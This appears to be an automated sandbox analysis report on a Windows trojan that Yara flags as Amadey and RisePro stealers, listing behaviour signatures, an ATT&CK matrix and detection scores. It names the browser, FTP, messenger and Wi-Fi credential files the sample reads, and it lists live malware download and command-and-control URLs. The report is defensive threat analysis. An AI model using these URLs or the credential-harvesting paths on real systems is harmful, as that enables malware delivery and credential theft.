Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Code function: 0_2_00B1E27A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00B1E27A

Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 13.2.rundll32.exe.6e5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 13.2.rundll32.exe.6e5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.explorgu.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.amert.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.explorgu.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.explorha.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.explorha.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorha.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2889754714.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2562352728.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2891590864.0000000000481000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1645556467.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2602620211.0000000000161000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2890551485.0000000000161000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2294672609.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2530989609.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1690165240.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2897232652.000000006E5B1000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1706644741.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2571487121.00000000004A1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, type: DROPPED

Yara detected RisePro Stealer

Source: Yara match	File source: 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ad0e9cf6d6.exe PID: 5904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 2252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 5796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ad0e9cf6d6.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ad0e9cf6d6.exe PID: 6052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 3176, type: MEMORYSTR

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\oobe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\iryicPkAkDbGMYaxbGJHFHLYRIPerBQhGBmxioestlQZBCigBXWrqXelHzkVWCWICZDSbkfceIOIhu\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\09fd851a4f\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\{6D809377-6AF0-444B-8957-A3773F02200E}\Common Files\microsoft shared\ClickToRun\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ad0e9cf6d6.exe PID: 5904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 2252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 5796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ad0e9cf6d6.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ad0e9cf6d6.exe PID: 6052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 3176, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	2 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials In Files	216 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	741 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	251 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	58%	Virustotal		Browse
SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	47%	ReversingLabs	Win32.Trojan.Generic
SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	100%	Avira	TR/Crypt.TPM.Gen
SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	100%	Avira	TR/ClipBanker.pjgxt
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	100%	Avira	TR/PSW.Agent.szlsq
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	100%	Avira	TR/ClipBanker.pjgxt
C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	100%	Avira	TR/PSW.Agent.szlsq
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000051001\b977f667d6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	42%	ReversingLabs	Win32.Trojan.RisePro
C:\ProgramData\MPGPH131\MPGPH131.exe	48%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	92%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	79%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	42%	ReversingLabs	Win32.Trojan.RisePro
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	48%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	63%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	39%	ReversingLabs	Win32.Trojan.RisePro
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	46%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	42%	ReversingLabs	Win32.Trojan.RisePro
C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	42%	ReversingLabs	Win32.Trojan.RisePro
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	96%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	92%	ReversingLabs	Win64.Trojan.Amadey

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllh	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1Trg	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.phpll32.dll	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.phpded	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll	0%	Avira URL Cloud	safe
http://193.233.132.56/	0%	Avira URL Cloud	safe
http://193.233.132.167/mine/amert.exeQ	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.php51001	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll	21%	Virustotal		Browse
http://193.233.132.56/	18%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllh	15%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpIY	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllB	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1;BU)(A;OICI;GXGR;;;WD)AY	0%	Avira URL Cloud	safe
http://193.233.132.167/mine/random.exeu	100%	Avira URL Cloud	malware
http://193.233.132.167/lend/alexxxxxxxx.exe	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.phpded	4%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1	4%	Virustotal		Browse
http://193.233.132.167/mine/random.exeo	100%	Avira URL Cloud	malware
http://193.233.132.167/cost/random.exe	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.php1Y	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.phpl	0%	Avira URL Cloud	safe
http://193.233.132.167/cost/random.exe	27%	Virustotal		Browse
http://193.233.132.167/cost/sarra.exe	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.phpll32.dll	19%	Virustotal		Browse
http://193.233.132.167/lend/alexxxxxxxx.exe	27%	Virustotal		Browse
